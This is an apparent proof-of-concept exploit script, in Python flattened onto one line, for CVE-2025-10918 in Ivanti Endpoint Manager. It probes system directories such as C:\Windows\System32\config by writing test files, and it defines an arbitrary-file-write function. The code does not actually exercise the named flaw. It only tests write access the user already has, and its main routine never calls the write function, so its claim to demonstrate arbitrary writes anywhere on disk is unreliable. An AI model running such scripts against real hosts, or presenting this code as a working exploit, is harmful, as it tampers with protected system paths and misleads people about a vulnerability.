CVE-2025-10918 Ivanti Endpoint Manager 不安全默认权限漏洞

#!/usr/bin/env python3 # CVE-2025-10918 PoC - Ivanti Endpoint Manager Insecure Default Permissions # This PoC demonstrates file write capability due to insecure permissions # Note: This is for educational and authorized testing purposes only import os import sys import subprocess def check_epm_service_status(): """Check if Ivanti Endpoint Manager service is running""" try: result = subprocess.run( ['sc', 'query', 'IvantiEndpointManager'], capture_output=True, text=True ) if 'RUNNING' in result.stdout: return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def check_insecure_permissions(target_path): """Check for insecure write permissions on target path""" try: # Attempt to create a test file in the target directory test_file = os.path.join(target_path, 'epm_test_file.txt') with open(test_file, 'w') as f: f.write('CVE-2025-10918 Test') print(f"[+] Successfully wrote to: {test_file}") # Clean up os.remove(test_file) return True except PermissionError: print(f"[-] Permission denied for: {target_path}") return False except Exception as e: print(f"[-] Error: {e}") return False def exploit_write_arbitrary_file(remote_path, content): """Exploit: Write arbitrary content to any path on disk""" try: with open(remote_path, 'w') as f: f.write(content) print(f"[+] Successfully wrote to arbitrary path: {remote_path}") return True except Exception as e: print(f"[-] Write failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-10918 PoC - Ivanti EPM Insecure Default Permissions") print("=" * 60) if not check_epm_service_status(): print("[-] Ivanti Endpoint Manager service not running") sys.exit(1) print("[+] Ivanti Endpoint Manager service is running") # Test paths commonly affected by this vulnerability test_paths = [ 'C:\\Windows\\System32\\config\\', 'C:\\Program Files\\Ivanti\\', 'C:\\Windows\\Temp\\' ] for path in test_paths: print(f"\n[*] Testing permissions on: {path}") check_insecure_permissions(path) print("\n[*] For full exploitation, provide target path and content") print("[*] This vulnerability allows writing arbitrary files anywhere on disk") print("[*] Mitigation: Upgrade to Ivanti EPM 2024 SU4 or later") if __name__ == '__main__': main()